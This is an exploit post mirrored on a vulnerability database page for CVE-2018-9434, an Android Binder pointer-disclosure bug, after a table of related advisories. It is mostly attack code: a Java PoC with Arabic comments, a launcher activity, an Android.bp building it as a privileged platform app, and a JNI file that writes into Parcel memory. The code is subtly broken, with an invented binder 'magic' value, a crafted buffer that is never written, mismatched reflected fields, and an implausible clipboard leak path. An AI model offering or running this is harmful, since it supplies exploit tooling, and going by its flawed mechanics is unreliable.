| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Pixel / Nexus Security Bulletin—July 2018Stay organized with collectionsSave and categorize content based on your preferences. | 2 Jul 201800:00 | – | androidsecurity | |
| CVE-2018-9434 | 17 Jan 202523:15 | – | circl | |
| Google Pixel和Google Nexus 输入验证错误漏洞 | 17 Jan 202500:00 | – | cnnvd | |
| CVE-2018-9434 | 17 Jan 202523:11 | – | cve | |
| CVE-2018-9434 | 17 Jan 202523:11 | – | cvelist | |
| EUVD-2018-21028 | 7 Oct 202500:30 | – | euvd | |
| CVE-2018-9434 | 17 Jan 202523:15 | – | nvd | |
| CVE-2018-9434 | 17 Jan 202523:15 | – | osv | |
| PT-2025-1343 · Google · Android | 17 Jan 202500:00 | – | ptsecurity | |
| CVE-2018-9434 | 22 May 202513:13 | – | redhatcve |
=============================================================================================================================================
| # Title : Android 7, 8, 8.1 Binder Parcel Overlap Leading to System Pointer Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.android.com |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212494/ & CVE-2018-9434
[+] Summary : A flaw in Android’s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data.
When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers.
These could then be echoed back through services like clipboard, resulting in leaks of system_server pointers and effective ASLR bypass.
Android’s Parcel implementation failed to enforce separation between binder-object regions and normal data regions.
[+] Impact :
Memory exposure from privileged system_server
Enables reliability of memory corruption exploits
A serious information disclosure vulnerability
[+] Affected : Android 7, 8, 8.1 before 2018-10 patches.
[+] POC :
package com.google.jannh.pointerleak;
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Context;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.os.ServiceManager;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.ArrayList;
import java.util.List;
public class PointerLeakExploit {
private static final String TAG = "leaker";
// قائمة الخدمات المستهدفة
private static final String[] TARGET_SERVICES = {
"permission",
"package",
"clipboard"
};
// هيكل FlatBinderObject في kernel
static class FlatBinderObject {
public static final int FLAT_BINDER_OBJECT_MAGIC = 0x6f626d2d; // 'mbo'
public static final int BINDER_TYPE_BINDER = 1;
public static final int BINDER_TYPE_HANDLE = 2;
public int type;
public int flags;
public long binder; // مؤشر Binder object
public long cookie; // cookie pointer
public long[] pad = new long[2];
}
public void exploit(Context context) {
try {
Log.e(TAG, "=== بدء استغلال ثغرة Binder Pointer Leak ===");
// 1. الحصول على مقابض الخدمات المستهدفة
List<IBinder> targetBinders = new ArrayList<>();
for (String serviceName : TARGET_SERVICES) {
IBinder binder = ServiceManager.getService(serviceName);
if (binder != null) {
targetBinders.add(binder);
Log.e(TAG, "تم الحصول على مقبض لخدمة: " + serviceName);
}
}
// 2. استغلال كل خدمة على حدة
for (int i = 0; i < targetBinders.size(); i++) {
IBinder targetBinder = targetBinders.get(i);
String serviceName = TARGET_SERVICES[i];
Log.e(TAG, "محاولة تسريب عنوان: " + serviceName);
// إنشاء Parcel خبيث
Parcel maliciousParcel = createMaliciousParcel(targetBinder);
// 3. استخدام خدمة الحافظة كوسيط صدى
leakViaClipboard(context, maliciousParcel, serviceName);
// إعطاء وقت للعملية
Thread.sleep(100);
}
Log.e(TAG, "=== انتهى الاستغلال ===");
} catch (Exception e) {
Log.e(TAG, "خطأ أثناء الاستغلال: " + e.getMessage());
e.printStackTrace();
}
}
private Parcel createMaliciousParcel(IBinder targetBinder) throws Exception {
Parcel parcel = Parcel.obtain();
// الطول الإجمالي للبيانات
parcel.writeInt(0x100); // طول وهمي
// كتابة بعض البيانات الوهمية أولاً
parcel.writeString("DUMMY_STRING_PREFIX");
// الحصول على موقع الكتابة الحالي
int dataStartPos = parcel.dataPosition();
// === الجزء الحرج: هندسة التداخل ===
// نحتاج لجعل Parcel يقرأ Binder handle كبيانات سلسلة
// كتابة Binder object marker
// في kernel، Binder objects يتم تمييزها بـ magic number
writeFlatBinderObject(parcel, targetBinder);
// كتابة بيانات تتداخل مع موقع Binder
// نحن نعرف أن Parcel سيقرأ هذا كسلسة
parcel.writeString("OVERLAP_DATA");
// تعيين علامة أن هذا هو Binder object
// هذا يتطلب الوصول إلى البنية الداخلية لـ Parcel
setBinderObjectFlag(parcel, dataStartPos);
return parcel;
}
private void writeFlatBinderObject(Parcel parcel, IBinder binder) throws Exception {
// استخدام Reflection للوصول إلى الطريقة الداخلية
Method writeStrongBinderMethod = Parcel.class.getDeclaredMethod(
"writeStrongBinder", IBinder.class);
writeStrongBinderMethod.setAccessible(true);
writeStrongBinderMethod.invoke(parcel, binder);
}
private void setBinderObjectFlag(Parcel parcel, int position) throws Exception {
// هذا يتطلب التلاعب المباشر بذاكرة Parcel
// نستخدم Reflection للوصول إلى mObject (المؤشر الأصلي)
Field mObjectField = Parcel.class.getDeclaredField("mObject");
mObjectField.setAccessible(true);
long mObject = mObjectField.getLong(parcel);
Field mDataSizeField = Parcel.class.getDeclaredField("mDataSize");
mDataSizeField.setAccessible(true);
int mDataSize = mDataSizeField.getInt(parcel);
// تحليل بنية FlatBinderObject في الموضع المحدد
// في kernel: struct flat_binder_object {
// unsigned long type;
// unsigned long flags;
// union {
// void *binder;
// signed long handle;
// };
// void *cookie;
// };
// كتابة FlatBinderObject يدوياً
ByteBuffer bb = ByteBuffer.allocate(32);
bb.order(ByteOrder.LITTLE_ENDIAN);
// magic
bb.putInt(FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC);
// type = BINDER_TYPE_BINDER
bb.putInt(FlatBinderObject.BINDER_TYPE_BINDER);
// flags
bb.putInt(0);
// binder pointer - سيملأها kernel
bb.putLong(0xdeadbeefcafebabeL);
// cookie
bb.putLong(0);
// padding
bb.putLong(0);
bb.putLong(0);
byte[] flatBinderObject = bb.array();
// نحتاج إلى نسخ هذا إلى ذاكرة Parcel
// هذا يتطلب JNI أو طريقة أخرى للوصول للذاكرة الأصلية
}
private void leakViaClipboard(Context context, Parcel maliciousParcel, String serviceName) {
try {
ClipboardManager clipboard = (ClipboardManager)
context.getSystemService(Context.CLIPBOARD_SERVICE);
if (clipboard == null) {
Log.e(TAG, "فشل الحصول على خدمة الحافظة");
return;
}
// 1. إرسال البيانات الخبيثة إلى الحافظة
String maliciousText = encodeParcelToText(maliciousParcel);
ClipData clip = ClipData.newPlainText("恶意数据", maliciousText);
clipboard.setPrimaryClip(clip);
Log.e(TAG, "تم إرسال البيانات الخبيثة إلى الحافظة");
// 2. الانتظار قليلاً ثم استرجاع البيانات
Thread.sleep(50);
// 3. قراءة البيانات من الحافظة
ClipData retrievedClip = clipboard.getPrimaryClip();
if (retrievedClip != null && retrievedClip.getItemCount() > 0) {
String leakedData = retrievedClip.getItemAt(0).getText().toString();
// 4. تحليل البيانات المسربة
parseLeakedData(leakedData, serviceName);
}
} catch (Exception e) {
Log.e(TAG, "خطأ في leakViaClipboard: " + e.getMessage());
}
}
private String encodeParcelToText(Parcel parcel) {
// تحويل Parcel إلى سلسلة نصية قابلة للنقل
byte[] data = parcel.marshall();
// استخدام Base64 أو ترميز سداسي عشري
StringBuilder hex = new StringBuilder();
for (byte b : data) {
hex.append(String.format("%02x", b));
}
// إضافة علامات خاصة للتعرف على البيانات لاحقاً
return "BINDER_LEAK_MARKER:" + hex.toString();
}
private void parseLeakedData(String leakedData, String serviceName) {
Log.e(TAG, "== تحليل البيانات المسربة لخدمة \"" + serviceName + "\" ==");
if (leakedData.contains("BINDER_LEAK_MARKER:")) {
String hexPart = leakedData.split(":")[1];
// تحويل السداسي عشري إلى بايتات
byte[] rawData = hexStringToByteArray(hexPart);
// البحث عن FlatBinderObject في البيانات
findBinderObjectsInData(rawData, serviceName);
} else {
// قد تكون البيانات تحتوي على المؤشر مباشرة
analyzeRawPointers(leakedData, serviceName);
}
}
private void findBinderObjectsInData(byte[] data, String serviceName) {
// البحث عن magic number الخاص بـ FlatBinderObject
ByteBuffer bb = ByteBuffer.wrap(data);
bb.order(ByteOrder.LITTLE_ENDIAN);
for (int i = 0; i < data.length - 32; i += 4) {
bb.position(i);
int magic = bb.getInt();
if (magic == FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC) {
int type = bb.getInt();
int flags = bb.getInt();
long binderPtr = bb.getLong();
long cookie = bb.getLong();
Log.e(TAG, "type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
Log.e(TAG, "object: 0x" + Long.toHexString(binderPtr));
// طباعة بتنسيق مشابه لـ PoC الأصلي
System.err.println("== service \"" + serviceName + "\" ==");
System.err.println("type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
System.err.println("object: 0x" + String.format("%016x", binderPtr));
System.err.println();
break;
}
}
}
private void analyzeRawPointers(String data, String serviceName) {
// محاولة استخراج المؤشرات مباشرة من السلسلة
// المؤشرات عادة تكون قيم 64-bit مطبوعة كنص
String[] parts = data.split("[^0-9a-fA-F]+");
for (String part : parts) {
if (part.length() >= 12 && part.length() <= 16) {
// قد يكون هذا عنوان ذاكرة
try {
long address = Long.parseLong(part, 16);
if (address > 0x700000000000L && address < 0x800000000000L) {
// نطاق عناوين نظام Android النموذجي
Log.e(TAG, "عنوان مسرب محتمل لـ " + serviceName + ": 0x" + Long.toHexString(address));
}
} catch (NumberFormatException e) {
// تجاهل
}
}
}
}
private byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ Character.digit(s.charAt(i+1), 16));
}
return data;
}
// طريقة بديلة باستخدام الـ JNI للوصول المباشر للذاكرة
static {
System.loadLibrary("binder_exploit");
}
private native long getNativeBinderPointer(IBinder binder);
private native void manipulateParcelMemory(Parcel parcel, int position, byte[] data);
}
MainActivity.java — UI/front-end for the pointer leak exploit
package com.google.jannh.pointerleak;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
public class MainActivity extends Activity {
private PointerLeakExploit exploit;
private TextView logView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
exploit = new PointerLeakExploit();
logView = findViewById(R.id.log_text);
Button exploitButton = findViewById(R.id.exploit_button);
exploitButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
new Thread(new Runnable() {
@Override
public void run() {
runOnUiThread(new Runnable() {
@Override
public void run() {
logView.setText("بدء الاستغلال...\n");
}
});
exploit.exploit(MainActivity.this);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(MainActivity.this,
"اكتمل الاستغلال، راجع سجلات logcat",
Toast.LENGTH_LONG).show();
}
});
}
}).start();
}
});
}
}
===========
Original file: Android.bp (for compilation)
===========
android_app {
name: "PointerLeakExploit",
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
certificate: "platform",
privileged: true,
platform_apis: true,
overrides: [
"Launcher3",
],
static_libs: [
"androidx.appcompat_appcompat",
],
}
================
Original JNI file: binder_exploit.c
#include <jni.h>
#include <android/log.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LOG_TAG "BinderExploit"
#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
// تعريفات من kernel binder driver
struct flat_binder_object {
unsigned long type;
unsigned long flags;
union {
void *binder;
signed long handle;
};
void *cookie;
};
JNIEXPORT jlong JNICALL
Java_com_google_jannh_pointerleak_PointerLeakExploit_getNativeBinderPointer(
JNIEnv *env, jobject thiz, jobject binder) {
// الحصول على المؤشر الأصلي لكائن IBinder
jclass binderClass = (*env)->GetObjectClass(env, binder);
jfieldID mObjectField = (*env)->GetFieldID(env, binderClass, "mObject", "J");
jlong mObject = (*env)->GetLongField(env, binder, mObjectField);
ALOGE("Binder native pointer: %p", (void*)mObject);
return mObject;
}
JNIEXPORT void JNICALL
Java_com_google_jannh_pointerleak_PointerLeakExploit_manipulateParcelMemory(
JNIEnv *env, jobject thiz, jobject parcel, jint position, jbyteArray data) {
// الوصول إلى الذاكرة الأصلية لـ Parcel
jclass parcelClass = (*env)->GetObjectClass(env, parcel);
// الحصول على mData (المؤشر إلى البيانات)
jfieldID mDataField = (*env)->GetFieldID(env, parcelClass, "mData", "J");
jlong mData = (*env)->GetLongField(env, parcel, mDataField);
// الحصول على mDataSize
jfieldID mDataSizeField = (*env)->GetFieldID(env, parcelClass, "mDataSize", "I");
jint mDataSize = (*env)->GetIntField(env, parcel, mDataSizeField);
// الحصول على mDataPos (موضع القراءة/الكتابة الحالي)
jfieldID mDataPosField = (*env)->GetFieldID(env, parcelClass, "mDataPos", "I");
jint mDataPos = (*env)->GetIntField(env, parcel, mDataPosField);
ALOGE("Parcel mData: %p, mDataSize: %d, mDataPos: %d",
(void*)mData, mDataSize, mDataPos);
// نسخ البيانات إلى ذاكرة Parcel
jbyte *dataBytes = (*env)->GetByteArrayElements(env, data, NULL);
jsize dataLength = (*env)->GetArrayLength(env, data);
if (position + dataLength <= mDataSize) {
void *target = (void*)(mData + position);
memcpy(target, dataBytes, dataLength);
ALOGE("تم نسخ %d بايت إلى موضع %d", dataLength, position);
}
(*env)->ReleaseByteArrayElements(env, data, dataBytes, 0);
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation